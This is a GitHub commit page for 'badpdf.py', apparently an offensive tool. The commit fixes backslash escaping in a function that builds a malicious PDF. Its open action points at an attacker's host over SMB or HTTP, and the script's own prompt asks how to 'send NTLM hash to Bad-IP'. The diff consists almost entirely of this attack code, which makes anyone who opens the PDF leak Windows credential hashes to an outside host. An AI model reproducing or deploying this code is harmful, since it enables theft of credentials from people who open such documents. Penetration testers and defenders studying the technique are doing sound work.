Skip to content

Commit

Permalink
Fixed additional back slash issue in HTTP pdf creation
Browse files Browse the repository at this point in the history
  • Loading branch information
deepzec committed May 2, 2018
1 parent 49b8d4c commit 3de2f10
Showing 1 changed file with 2 additions and 2 deletions.
4 changes: 2 additions & 2 deletions badpdf.py
Original file line number Diff line number Diff line change
Expand Up @@ -54,7 +54,7 @@ def create_malpdf(filename, host):
/AA <<
/O <<
/F (\\\\''' + host + '''\\test)
/F (''' + host + '''test)
/D [ 0 /Fit]
/S /GoToE
>>
Expand Down Expand Up @@ -127,7 +127,7 @@ def create_malpdf(filename, host):
method = raw_input("How you want to send NTLM hash to Bad-IP?\n[1] Over SMB:\n\n[2] Over HTTP\n\n Option > ")

if method == '1':
create_malpdf(filename, '\\' + '\\' + host + '\\')
create_malpdf(filename, '\\\\' + '\\\\' + host + '\\')

elif method == '2':
create_malpdf(filename, 'http//' + host + '/')
Expand Down

0 comments on commit 3de2f10

Please sign in to comment.